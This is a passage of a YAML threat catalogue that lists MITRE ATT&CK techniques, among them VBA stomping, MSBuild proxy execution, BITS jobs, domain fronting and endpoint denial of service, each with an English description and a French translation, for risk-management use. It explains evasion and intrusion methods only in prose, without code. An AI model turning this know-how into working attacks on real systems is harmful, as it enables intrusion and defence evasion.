      servers.(Citation: ArsTechnica Great Firewall of China)


      For attacks attempting to saturate the providing network, see [Network Denial
      of Service](https://attack.mitre.org/techniques/T1498).

      https://attack.mitre.org/techniques/T1499'
    translations:
      fr:
        name: "D\xE9ni de service du point de terminaison"
        description: "Des adversaires peuvent effectuer des attaques par d\xE9ni de\
          \ service (DoS) pour d\xE9grader ou bloquer la disponibilit\xE9 des services\
          \ pour les utilisateurs. Les attaques par d\xE9ni de service peuvent \xEA\
          tre r\xE9alis\xE9es en \xE9puisant les ressources du syst\xE8me sur lesquelles\
          \ ces services sont h\xE9berg\xE9s ou en exploitant le syst\xE8me pour provoquer\
          \ une panne persistante. Les sites web, les services de messagerie, les\
          \ DNS et les applications bas\xE9es sur le web sont des exemples de services.\
          \ Des adversaires ont \xE9t\xE9 observ\xE9s en train de mener des attaques\
          \ DoS \xE0 des fins politiques (Citation : FireEye OpPoisonedHandover February\
          \ 2016) et pour soutenir d'autres activit\xE9s malveillantes, y compris\
          \ la distraction (Citation : FSISAC FraudNetDoS September 2012), l'hacktivisme\
          \ et l'extorsion (Citation : Symantec DDoS October 2014).\n\nUn DoS de point\
          \ final emp\xEAche la disponibilit\xE9 d'un service sans saturer le r\xE9\
          seau utilis\xE9 pour fournir l'acc\xE8s au service. Les adversaires peuvent\
          \ cibler diff\xE9rentes couches de la pile d'applications h\xE9berg\xE9\
          es sur le syst\xE8me utilis\xE9 pour fournir le service. Ces couches comprennent\
          \ les syst\xE8mes d'exploitation (OS), les applications serveur telles que\
          \ les serveurs web, les serveurs DNS, les bases de donn\xE9es et les applications\
          \ (g\xE9n\xE9ralement bas\xE9es sur le web) qui les surmontent. L'attaque\
          \ de chaque couche n\xE9cessite des techniques diff\xE9rentes qui tirent\
          \ parti des goulets d'\xE9tranglement propres aux composants respectifs.\
          \ Une attaque DoS peut \xEAtre g\xE9n\xE9r\xE9e par un seul syst\xE8me ou\
          \ par plusieurs syst\xE8mes r\xE9partis sur l'internet, ce qui est commun\xE9\
          ment appel\xE9 une attaque DoS distribu\xE9e (DDoS).\n\nPour mener des attaques\
          \ DoS contre des ressources d'extr\xE9mit\xE9, plusieurs aspects s'appliquent\
          \ \xE0 plusieurs m\xE9thodes, notamment l'usurpation d'adresse IP et les\
          \ r\xE9seaux de zombies.\n\nLes adversaires peuvent utiliser l'adresse IP\
          \ originale d'un syst\xE8me attaquant ou usurper l'adresse IP source pour\
          \ rendre le trafic d'attaque plus difficile \xE0 remonter jusqu'au syst\xE8\
          me attaquant ou pour permettre la r\xE9flexion. Cela peut accro\xEEtre la\
          \ difficult\xE9 pour les d\xE9fenseurs de se d\xE9fendre contre l'attaque\
          \ en r\xE9duisant ou en \xE9liminant l'efficacit\xE9 du filtrage par l'adresse\
          \ source sur les dispositifs de d\xE9fense du r\xE9seau.\n\nLes r\xE9seaux\
          \ de zombies sont couramment utilis\xE9s pour mener des attaques DDoS contre\
          \ des r\xE9seaux et des services. Les r\xE9seaux de zombies de grande taille\
          \ peuvent g\xE9n\xE9rer un volume important de trafic \xE0 partir de syst\xE8\
          mes diss\xE9min\xE9s sur l'internet mondial. Les adversaires peuvent disposer\
          \ des ressources n\xE9cessaires pour mettre en place et contr\xF4ler leur\
          \ propre infrastructure de r\xE9seau de zombies ou louer du temps sur un\
          \ r\xE9seau de zombies existant pour mener une attaque. Dans certains des\
          \ pires cas de DDoS, tant de syst\xE8mes sont utilis\xE9s pour g\xE9n\xE9\
          rer des requ\xEAtes qu'il suffit \xE0 chacun d'eux d'envoyer une petite\
          \ quantit\xE9 de trafic pour produire un volume suffisant pour \xE9puiser\
          \ les ressources de la cible. Dans de telles circonstances, il devient extr\xEA\
          mement difficile de distinguer le trafic DDoS des clients l\xE9gitimes.\
          \ Des botnets ont \xE9t\xE9 utilis\xE9s dans certaines des attaques DDoS\
          \ les plus m\xE9diatis\xE9es, comme la s\xE9rie d'incidents de 2012 qui\
          \ ont vis\xE9 de grandes banques am\xE9ricaines.(Citation : USNYAG IranianBotnet\
          \ March 2016)\n\nDans les cas o\xF9 la manipulation du trafic est utilis\xE9\
          e, il peut y avoir des points dans le r\xE9seau mondial (tels que des routeurs\
          \ de passerelle \xE0 fort trafic) o\xF9 les paquets peuvent \xEAtre modifi\xE9\
          s et amener des clients l\xE9gitimes \xE0 ex\xE9cuter un code qui dirige\
          \ les paquets du r\xE9seau vers une cible en grand nombre. Ce type de capacit\xE9\
          \ a d\xE9j\xE0 \xE9t\xE9 utilis\xE9 \xE0 des fins de censure du web : le\
          \ trafic HTTP des clients \xE9tait modifi\xE9 pour inclure une r\xE9f\xE9\
          rence \xE0 JavaScript qui g\xE9n\xE9rait le code DDoS afin de submerger\
          \ les serveurs web cibl\xE9s (Citation : ArsTechnica Great Firewall of China).\n\
          \nPour les attaques visant \xE0 saturer le r\xE9seau fournisseur, voir [Network\
          \ Denial of Service] (https://attack.mitre.org/techniques/T1498).\nhttps://attack.mitre.org/techniques/T1499"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.004
    ref_id: T1027.004
    name: Compile After Delivery
    description: 'Adversaries may attempt to make payloads difficult to discover and
      analyze by delivering files to victims as uncompiled code. Text-based source
      code files may subvert analysis and scrutiny from protections targeting executables/binaries.
      These payloads will need to be compiled before execution; typically via native
      utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation:
      ClearSky MuddyWater Nov 2018)


      Source code payloads may also be encrypted, encoded, and/or embedded within
      other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566).
      Payloads may also be delivered in formats unrecognizable and inherently benign
      to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into
      a proper executable binary with a bundled compiler and execution framework.(Citation:
      TrendMicro WindowsAppMac)

      https://attack.mitre.org/techniques/T1027/004'
    translations:
      fr:
        name: "Compiler apr\xE8s la livraison"
        description: "Les adversaires peuvent tenter de rendre les charges utiles\
          \ difficiles \xE0 d\xE9couvrir et \xE0 analyser en livrant des fichiers\
          \ aux victimes sous forme de code non compil\xE9. Les fichiers de code source\
          \ textuels peuvent subvertir l\u2019analyse et l\u2019examen des protections\
          \ ciblant les ex\xE9cutables/binaires. Ces charges utiles devront \xEAtre\
          \ compil\xE9es avant l\u2019ex\xE9cution ; g\xE9n\xE9ralement via des utilitaires\
          \ natifs tels que ilasm.exe(Citation\_: ATTACK IQ), csc.exe ou GCC/MinGW.\
          \ (Citation : ClearSky MuddyWater, novembre 2018)\n\nLes donn\xE9es utiles\
          \ du code source peuvent \xE9galement \xEAtre chiffr\xE9es, cod\xE9es et/ou\
          \ int\xE9gr\xE9es dans d\u2019autres fichiers, tels que ceux fournis sous\
          \ la forme d\u2019un [hame\xE7onnage](https://attack.mitre.org/techniques/T1566).\
          \ Les charges utiles peuvent \xE9galement \xEAtre livr\xE9es dans des formats\
          \ m\xE9connaissables et intrins\xE8quement inoffensifs pour le syst\xE8\
          me d\u2019exploitation natif (ex : EXEs sur macOS/Linux) avant d\u2019\xEA\
          tre (re)compil\xE9es ult\xE9rieurement en un binaire ex\xE9cutable appropri\xE9\
          \ avec un compilateur et un cadre d\u2019ex\xE9cution int\xE9gr\xE9s. (Citation\
          \ : TrendMicro WindowsAppMac)\nhttps://attack.mitre.org/techniques/T1027/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1614
    ref_id: T1614
    name: System Location Discovery
    description: 'Adversaries may gather information in an attempt to calculate the
      geographical location of a victim host. Adversaries may use the information
      from [System Location Discovery](https://attack.mitre.org/techniques/T1614)
      during automated discovery to shape follow-on behaviors, including whether or
      not the adversary fully infects the target and/or attempts specific actions.


      Adversaries may attempt to infer the location of a system using various system
      checks, such as time zone, keyboard layout, and/or language settings.(Citation:
      FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer
      RAT malware 2020) Windows API functions such as <code>GetLocaleInfoW</code>
      can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker
      2020) In cloud environments, an instance''s availability zone may also be discovered
      by accessing the instance metadata service from the instance.(Citation: AWS
      Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)


      Adversaries may also attempt to infer the location of a victim host using IP
      addressing, such as via online geolocation IP-lookup services.(Citation: Securelist
      Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)

      https://attack.mitre.org/techniques/T1614'
    translations:
      fr:
        name: "D\xE9couverte de l\u2019emplacement du syst\xE8me"
        description: "Les adversaires peuvent recueillir des informations pour tenter\
          \ de calculer l\u2019emplacement g\xE9ographique d\u2019un h\xF4te victime.\
          \ Les adversaires peuvent utiliser les informations de [D\xE9couverte de\
          \ l\u2019emplacement syst\xE8me](https://attack.mitre.org/techniques/T1614)\
          \ lors de la d\xE9couverte automatique pour fa\xE7onner les comportements\
          \ de suivi, notamment si l\u2019adversaire infecte compl\xE8tement la cible\
          \ et/ou tente ou non des actions sp\xE9cifiques.\n\nLes adversaires peuvent\
          \ tenter de d\xE9duire l\u2019emplacement d\u2019un syst\xE8me \xE0 l\u2019\
          aide de diverses v\xE9rifications du syst\xE8me, telles que le fuseau horaire,\
          \ la disposition du clavier et/ou les param\xE8tres de langue. (R\xE9f\xE9\
          rence : FBI Ragnar Locker 2020)(Citation : Sophos Geolocation 2016)(Citation\
          \ : Bleepingcomputer RAT malware 2020) Les fonctions de l\u2019API Windows\
          \ telles que <code>GetLocaleInfoW</code> peuvent \xE9galement \xEAtre utilis\xE9\
          es pour d\xE9terminer les param\xE8tres r\xE9gionaux de l\u2019h\xF4te.\
          \ (R\xE9f\xE9rence : FBI Ragnar Locker 2020) Dans les environnements cloud,\
          \ la zone de disponibilit\xE9 d\u2019une instance peut \xE9galement \xEA\
          tre d\xE9couverte en acc\xE9dant au service de m\xE9tadonn\xE9es d\u2019\
          instance \xE0 partir de l\u2019instance. (Citation : Documents d\u2019identit\xE9\
          \ d\u2019instance AWS)(Citation : M\xE9tadonn\xE9es d\u2019instance Microsoft\
          \ Azure 2021)\n\nLes adversaires peuvent \xE9galement tenter de d\xE9duire\
          \ l\u2019emplacement d\u2019un h\xF4te victime \xE0 l\u2019aide de l\u2019\
          adressage IP, par exemple via des services de g\xE9olocalisation IP en ligne.\
          \ (Citation : Securelist Trasparent Tribe 2020)(Citation : Sophos Geolocation\
          \ 2016)\nhttps://attack.mitre.org/techniques/T1614"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.007
    ref_id: T1564.007
    name: VBA Stomping
    description: "Adversaries may hide malicious Visual Basic for Applications (VBA)\
      \ payloads embedded within MS Office documents by replacing the VBA source code\
      \ with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents\
      \ with embedded VBA content store source code inside of module streams. Each\
      \ module stream has a <code>PerformanceCache</code> that stores a separate compiled\
      \ version of the VBA source code known as p-code. The p-code is executed when\
      \ the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which\
      \ contains the version-dependent description of the VBA project) matches the\
      \ version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation:\
      \ Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code\
      \ by overwriting the VBA source code location with zero\u2019s, benign code,\
      \ or random bytes while leaving the previously compiled malicious p-code. Tools\
      \ that scan for malicious VBA source code may be bypassed as the unwanted code\
      \ is hidden in the compiled p-code. If the VBA source code is removed, some\
      \ tools might even think that there are no macros present. If there is a version\
      \ match between the <code>_VBA_PROJECT</code> stream and host MS Office application,\
      \ the p-code will be executed, otherwise the benign VBA source code will be\
      \ decompressed and recompiled to p-code, thus removing malicious p-code and\
      \ potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation:\
      \ FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)\nhttps://attack.mitre.org/techniques/T1564/007"
    translations:
      fr:
        name: "Pi\xE9tinement VBA"
        description: "Les adversaires peuvent masquer des charges utiles Visual Basic\
          \ pour Applications (VBA) malveillantes int\xE9gr\xE9es dans des documents\
          \ MS Office en rempla\xE7ant le code source VBA par des donn\xE9es inoffensives.\
          \ (Citation : FireEye VBA stomp f\xE9vrier 2020)\n\nLes documents MS Office\
          \ avec code source de stockage de contenu VBA int\xE9gr\xE9 \xE0 l\u2019\
          int\xE9rieur des flux de modules. Chaque flux de module dispose d\u2019\
          un <code>PerformanceCache</code> qui stocke une version compil\xE9e distincte\
          \ du code source VBA, appel\xE9e p-code. Le p-code est ex\xE9cut\xE9 lorsque\
          \ la version de MS Office sp\xE9cifi\xE9e dans le flux <code>_VBA_PROJECT</code>\
          \ (qui contient la description d\xE9pendante de la version du projet VBA)\
          \ correspond \xE0 la version de l\u2019application MS Office h\xF4te. (Citation\
          \ : Evil Clippy mai 2019)(Citation : Microsoft _VBA_PROJECT Stream)\n\n\
          Un adversaire peut masquer le code VBA malveillant en rempla\xE7ant l\u2019\
          emplacement du code source VBA par des z\xE9ros, du code b\xE9nin ou des\
          \ octets al\xE9atoires, tout en laissant le code p malveillant pr\xE9c\xE9\
          demment compil\xE9. Les outils qui recherchent le code source VBA malveillant\
          \ peuvent \xEAtre contourn\xE9s, car le code ind\xE9sirable est masqu\xE9\
          \ dans le code p compil\xE9. Si le code source VBA est supprim\xE9, certains\
          \ outils peuvent m\xEAme penser qu\u2019il n\u2019y a pas de macros pr\xE9\
          sentes. S\u2019il existe une correspondance de version entre le flux <code>_VBA_PROJECT</code>\
          \ et l\u2019application MS Office h\xF4te, le code p sera ex\xE9cut\xE9\
          , sinon le code source VBA inoffensif sera d\xE9compress\xE9 et recompil\xE9\
          \ en code p, supprimant ainsi le code p malveillant et contournant potentiellement\
          \ l\u2019analyse dynamique. (Citation : Walmart Roberts octobre 2018)(Citation\
          \ : FireEye VBA stomp f\xE9vrier 2020)(Citation : pcodedmp Bontchev)\nhttps://attack.mitre.org/techniques/T1564/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1197
    ref_id: T1197
    name: BITS Jobs
    description: 'Adversaries may abuse BITS jobs to persistently execute code and
      perform various background tasks. Windows Background Intelligent Transfer Service
      (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through
      [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation:
      Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters,
      messengers, and other applications preferred to operate in the background (using
      available idle bandwidth) without interrupting other networked applications.
      File transfer tasks are implemented as BITS jobs, which contain a queue of one
      or more file operations.


      The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001)
      and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation:
      Microsoft BITS)(Citation: Microsoft BITSAdmin)


      Adversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)),
      execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)).
      BITS tasks are self-contained in the BITS job database, without new files or
      registry modifications, and often permitted by host firewalls.(Citation: CTU
      BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation:
      Symantec BITS May 2007) BITS enabled execution may also enable persistence by
      creating long-standing jobs (the default maximum lifetime is 90 days and extendable)
      or invoking an arbitrary program when a job completes or errors (including after
      system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware
      June 2016)


      BITS upload functionalities can also be used to perform [Exfiltration Over Alternative
      Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware
      June 2016)

      https://attack.mitre.org/techniques/T1197'
    translations:
      fr:
        name: Emplois BITS
        description: "Les adversaires peuvent abuser des t\xE2ches BITS pour ex\xE9\
          cuter du code de mani\xE8re persistante et effectuer diverses t\xE2ches\
          \ en arri\xE8re-plan. Le service de transfert intelligent en arri\xE8re-plan\
          \ (BITS) de Windows est un m\xE9canisme de transfert de fichiers asynchrone\
          \ \xE0 faible bande passante expos\xE9 via [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\
          \ (COM). (Citation : Microsoft COM)(R\xE9f\xE9rence : Microsoft BITS) BITS\
          \ est couramment utilis\xE9 par les programmes de mise \xE0 jour, les messageries\
          \ et d\u2019autres applications pr\xE9f\xE9r\xE9es pour fonctionner en arri\xE8\
          re-plan (en utilisant la bande passante inactive disponible) sans interrompre\
          \ les autres applications en r\xE9seau. Les t\xE2ches de transfert de fichiers\
          \ sont impl\xE9ment\xE9es sous forme de t\xE2ches BITS, qui contiennent\
          \ une file d\u2019attente d\u2019une ou plusieurs op\xE9rations de fichier.\n\
          \nL\u2019interface de cr\xE9ation et de gestion des t\xE2ches BITS est accessible\
          \ via [PowerShell](https://attack.mitre.org/techniques/T1059/001) et l\u2019\
          outil [BITSAdmin](https://attack.mitre.org/software/S0190). (R\xE9f\xE9\
          rence : Microsoft BITS)(Citation : Microsoft BITSAdmin)\n\nLes adversaires\
          \ peuvent abuser des BITS pour t\xE9l\xE9charger (par exemple, [Ingress\
          \ Tool Transfer](https://attack.mitre.org/techniques/T1105)), ex\xE9cuter\
          \ et m\xEAme nettoyer apr\xE8s avoir ex\xE9cut\xE9 un code malveillant (par\
          \ exemple, [Indicator Removal](https://attack.mitre.org/techniques/T1070)).\
          \ Les t\xE2ches BITS sont autonomes dans la base de donn\xE9es des t\xE2\
          ches BITS, sans nouveaux fichiers ni modifications du registre, et souvent\
          \ autoris\xE9es par les pare-feu de l\u2019h\xF4te. (Citation : CTU BITS\
          \ Malware juin 2016)(Citation : Mondok Windows PiggyBack BITS mai 2007)(R\xE9\
          f\xE9rence : Symantec BITS mai 2007) L\u2019ex\xE9cution activ\xE9e par\
          \ BITS peut \xE9galement activer la persistance en cr\xE9ant des t\xE2ches\
          \ de longue dur\xE9e (la dur\xE9e de vie maximale par d\xE9faut est de 90\
          \ jours et extensible) ou en invoquant un programme arbitraire \xE0 la fin\
          \ d\u2019une t\xE2che ou en commettant des erreurs (y compris apr\xE8s le\
          \ red\xE9marrage du syst\xE8me). (Citation : PaloAlto UBoatRAT novembre\
          \ 2017)(Citation : CTU BITS Malware juin 2016)\n\nLes fonctionnalit\xE9\
          s de t\xE9l\xE9chargement BITS peuvent \xE9galement \xEAtre utilis\xE9es\
          \ pour effectuer [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).\
          \ (Citation : CTU BITS Malware juin 2016)\nhttps://attack.mitre.org/techniques/T1197"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1127.001
    ref_id: T1127.001
    name: MSBuild
    description: 'Adversaries may use MSBuild to proxy execution of code through a
      trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software
      build platform used by Visual Studio. It handles XML formatted project files
      that define requirements for loading and building various platforms and configurations.(Citation:
      MSDN MSBuild)


      Adversaries can abuse MSBuild to proxy execution of malicious code. The inline
      task capability of MSBuild that was introduced in .NET version 4 allows for
      C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN
      MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile
      and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when
      it is used this way it can execute arbitrary code and bypass application control
      defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS
      Msbuild)

      https://attack.mitre.org/techniques/T1127/001'
    translations:
      fr:
        name: MSBuild
        description: "Les adversaires peuvent utiliser MSBuild pour proxy l\u2019\
          ex\xE9cution de code via un utilitaire Windows approuv\xE9. MSBuild.exe\
          \ (Microsoft Build Engine) est une plateforme de g\xE9n\xE9ration logicielle\
          \ utilis\xE9e par Visual Studio. Il g\xE8re des fichiers de projet au format\
          \ XML qui d\xE9finissent les exigences de chargement et de construction\
          \ de diverses plates-formes et configurations. (R\xE9f\xE9rence : MSDN MSBuild)\n\
          \nLes adversaires peuvent abuser de MSBuild pour proxy l\u2019ex\xE9cution\
          \ de code malveillant. La fonctionnalit\xE9 de t\xE2che en ligne de MSBuild\
          \ qui a \xE9t\xE9 introduite dans .NET version 4 permet d\u2019ins\xE9rer\
          \ du code C# ou Visual Basic dans un fichier projet XML. (R\xE9f\xE9rence\
          \ : MSDN MSBuild)(Citation : Microsoft MSBuild Inline Tasks 2017) MSBuild\
          \ compile et ex\xE9cute la t\xE2che en ligne. MSBuild.exe s\u2019agit d\u2019\
          un binaire Microsoft sign\xE9, donc lorsqu\u2019il est utilis\xE9 de cette\
          \ fa\xE7on, il peut ex\xE9cuter du code arbitraire et contourner les d\xE9\
          fenses de contr\xF4le d\u2019application configur\xE9es pour permettre l\u2019\
          ex\xE9cution MSBuild.exe. (Citation : LOLBAS Msbuild)\nhttps://attack.mitre.org/techniques/T1127/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1656
    ref_id: T1656
    name: Impersonation
    description: "Adversaries may impersonate a trusted person or organization in\
      \ order to persuade and trick a target into performing some action on their\
      \ behalf. For example, adversaries may communicate with victims (via [Phishing\
      \ for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566),\
      \ or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while\
      \ impersonating a known sender such as an executive, colleague, or third-party\
      \ vendor. Established trust can then be leveraged to accomplish an adversary\u2019\
      s ultimate goals, possibly against multiple victims. \n \nIn many cases of business\
      \ email compromise or email fraud campaigns, adversaries use impersonation to\
      \ defraud victims -- deceiving them into sending money or divulging information\
      \ that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).\n\
      \nAdversaries will often also use social engineering techniques such as manipulative\
      \ and persuasive language in email subject lines and body text such as `payment`,\
      \ `request`, or `urgent` to push the victim to act quickly before malicious\
      \ activity is detected. These campaigns are often specifically targeted against\
      \ people who, due to job roles and/or accesses, can carry out the adversary\u2019\
      s goal.\u202F\u202F \n \nImpersonation is typically preceded by reconnaissance\
      \ techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589)\
      \ and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591)\
      \ as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001))\
      \ to substantiate their false identity.(Citation: CrowdStrike-BEC)\n \nThere\
      \ is the potential for multiple victims in campaigns involving impersonation.\
      \ For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586)\
      \ targeting one organization which can then be used to support impersonation\
      \ against other entities.(Citation: VEC)\nhttps://attack.mitre.org/techniques/T1656"
    translations:
      fr:
        name: Imitation
        description: "Les adversaires peuvent se faire passer pour une personne ou\
          \ une organisation de confiance afin de persuader et d\u2019inciter une\
          \ cible \xE0 effectuer une action en son nom. Par exemple, les adversaires\
          \ peuvent communiquer avec les victimes (via [Phishing for Information](https://attack.mitre.org/techniques/T1598),\
          \ [Phishing](https://attack.mitre.org/techniques/T1566) ou [Internal Spearphishing](https://attack.mitre.org/techniques/T1534))\
          \ en se faisant passer pour un exp\xE9diteur connu tel qu\u2019un dirigeant,\
          \ un coll\xE8gue ou un fournisseur tiers. La confiance \xE9tablie peut ensuite\
          \ \xEAtre exploit\xE9e pour atteindre les objectifs ultimes d\u2019un adversaire,\
          \ \xE9ventuellement contre plusieurs victimes. \n \nDans de nombreux cas\
          \ de compromission d\u2019e-mails professionnels ou de campagnes de fraude\
          \ par e-mail, les adversaires utilisent l\u2019usurpation d\u2019identit\xE9\
          \ pour escroquer les victimes, en les incitant \xE0 envoyer de l\u2019argent\
          \ ou \xE0 divulguer des informations qui permettent finalement le [vol financier](https://attack.mitre.org/techniques/T1657).\n\
          \nLes adversaires utilisent souvent des techniques d\u2019ing\xE9nierie\
          \ sociale telles qu\u2019un langage manipulateur et persuasif dans les lignes\
          \ d\u2019objet des e-mails et le corps du texte tel que \xAB paiement \xBB\
          , \xAB demande \xBB ou \xAB urgent \xBB pour pousser la victime \xE0 agir\
          \ rapidement avant qu\u2019une activit\xE9 malveillante ne soit d\xE9tect\xE9\
          e. Ces campagnes ciblent souvent sp\xE9cifiquement les personnes qui, en\
          \ raison de leurs r\xF4les et/ou de leurs acc\xE8s, peuvent atteindre l\u2019\
          objectif de l\u2019adversaire.\u202F\u202F \n \nL\u2019usurpation d\u2019\
          identit\xE9 est g\xE9n\xE9ralement pr\xE9c\xE9d\xE9e de techniques de reconnaissance\
          \ telles que [Recueillir des informations sur l\u2019identit\xE9 de la victime](https://attack.mitre.org/techniques/T1589)\
          \ et [Recueillir des informations sur l\u2019organisation de la victime](https://attack.mitre.org/techniques/T1591),\
          \ ainsi que de l\u2019acquisition d\u2019infrastructures telles que des\
          \ domaines de messagerie (c\u2019est-\xE0-dire [Domaines](https://attack.mitre.org/techniques/T1583/001))\
          \ pour \xE9tayer leur fausse identit\xE9. (Citation : CrowdStrike-BEC)\n\
          \ \nIl est possible que plusieurs victimes soient faites dans les campagnes\
          \ d\u2019usurpation d\u2019identit\xE9. Par exemple, un adversaire peut\
          \ cibler une organisation https://attack.mitre.org/techniques/T1586 qui\
          \ peut ensuite \xEAtre utilis\xE9e pour soutenir l\u2019usurpation d\u2019\
          identit\xE9 contre d\u2019autres entit\xE9s. (R\xE9f\xE9rence : VEC)\nhttps://attack.mitre.org/techniques/T1656"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1578.005
    ref_id: T1578.005
    name: Modify Cloud Compute Configurations
    description: "Adversaries may modify settings that directly affect the size, locations,\
      \ and resources available to cloud compute infrastructure in order to evade\
      \ defenses. These settings may include service quotas, subscription associations,\
      \ tenant-wide policies, or other configurations that impact available compute.\
      \ Such modifications may allow adversaries to abuse the victim\u2019s compute\
      \ resources to achieve their goals, potentially without affecting the execution\
      \ of running instances and/or revealing their activities to the victim.\n\n\
      For example, cloud providers often limit customer usage of compute resources\
      \ via quotas. Customers may request adjustments to these quotas to support increased\
      \ computing needs, though these adjustments may require approval from the cloud\
      \ provider. Adversaries who compromise a cloud environment may similarly request\
      \ quota adjustments in order to support their activities, such as enabling additional\
      \ [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising\
      \ suspicion by using up a victim\u2019s entire quota.(Citation: Microsoft Cryptojacking\
      \ 2023) Adversaries may also increase allowed resource usage by modifying any\
      \ tenant-wide policies that limit the sizes of deployed virtual machines.(Citation:\
      \ Microsoft Azure Policy)\n\nAdversaries may also modify settings that affect\
      \ where cloud resources can be deployed, such as enabling [Unused/Unsupported\
      \ Cloud Regions](https://attack.mitre.org/techniques/T1535).\nhttps://attack.mitre.org/techniques/T1578/005"
    translations:
      fr:
        name: Modifier les configurations de Cloud Compute
        description: "Les adversaires peuvent modifier des param\xE8tres qui affectent\
          \ directement la taille, les emplacements et les ressources disponibles\
          \ pour l\u2019infrastructure de calcul cloud afin d\u2019\xE9chapper aux\
          \ d\xE9fenses. Ces param\xE8tres peuvent inclure des quotas de service,\
          \ des associations d\u2019abonnement, des strat\xE9gies \xE0 l\u2019\xE9\
          chelle du locataire ou d\u2019autres configurations qui ont un impact sur\
          \ le calcul disponible. De telles modifications peuvent permettre \xE0 des\
          \ adversaires d\u2019abuser des ressources de calcul de la victime pour\
          \ atteindre leurs objectifs, potentiellement sans affecter l\u2019ex\xE9\
          cution des instances en cours d\u2019ex\xE9cution et/ou r\xE9v\xE9ler leurs\
          \ activit\xE9s \xE0 la victime.\n\nPar exemple, les fournisseurs de cloud\
          \ limitent souvent l\u2019utilisation des ressources de calcul par les clients\
          \ via des quotas. Les clients peuvent demander des ajustements \xE0 ces\
          \ quotas pour r\xE9pondre \xE0 l\u2019augmentation des besoins informatiques,\
          \ bien que ces ajustements puissent n\xE9cessiter l\u2019approbation du\
          \ fournisseur de cloud. Les adversaires qui compromettent un environnement\
          \ cloud peuvent \xE9galement demander des ajustements de quota afin de soutenir\
          \ leurs activit\xE9s, par exemple en activant le [d\xE9tournement de ressources](https://attack.mitre.org/techniques/T1496)\
          \ suppl\xE9mentaire sans \xE9veiller les soup\xE7ons en utilisant la totalit\xE9\
          \ du quota d\u2019une victime. (Citation : Microsoft Cryptojacking 2023)\
          \ Les adversaires peuvent \xE9galement augmenter l\u2019utilisation des\
          \ ressources autoris\xE9es en modifiant les strat\xE9gies \xE0 l\u2019\xE9\
          chelle du locataire qui limitent la taille des machines virtuelles d\xE9\
          ploy\xE9es. (Citation : Politique Microsoft Azure)\n\nLes adversaires peuvent\
          \ \xE9galement modifier les param\xE8tres qui affectent l\u2019emplacement\
          \ de d\xE9ploiement des ressources cloud, tels que l\u2019activation des\
          \ [R\xE9gions cloud inutilis\xE9es/non prises en charge](https://attack.mitre.org/techniques/T1535).\n\
          https://attack.mitre.org/techniques/T1578/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1090.004
    ref_id: T1090.004
    name: Domain Fronting
    description: 'Adversaries may take advantage of routing schemes in Content Delivery
      Networks (CDNs) and other services which host multiple domains to obfuscate
      the intended destination of HTTPS traffic or traffic tunneled through HTTPS.
      (Citation: Fifield Blocking Resistent Communication through domain fronting
      2015) Domain fronting involves using different domain names in the SNI field
      of the TLS header and the Host field of the HTTP header. If both domains are
      served from the same CDN, then the CDN may route to the address specified in
      the HTTP header after unwrapping the TLS header. A variation of the the technique,
      "domainless" fronting, utilizes a SNI field that is left blank; this may allow
      the fronting to work even when the CDN attempts to validate that the SNI and
      HTTP Host fields match (if the blank SNI fields are ignored).


      For example, if domain-x and domain-y are customers of the same CDN, it is possible
      to place domain-x in the TLS header and domain-y in the HTTP header. Traffic
      will appear to be going to domain-x, however the CDN may route it to domain-y.

      https://attack.mitre.org/techniques/T1090/004'
    translations:
      fr:
        name: "Fa\xE7ade de domaine"
        description: "Les adversaires peuvent tirer parti des sch\xE9mas de routage\
          \ dans les r\xE9seaux de diffusion de contenu (CDN) et d\u2019autres services\
          \ qui h\xE9bergent plusieurs domaines pour masquer la destination pr\xE9\
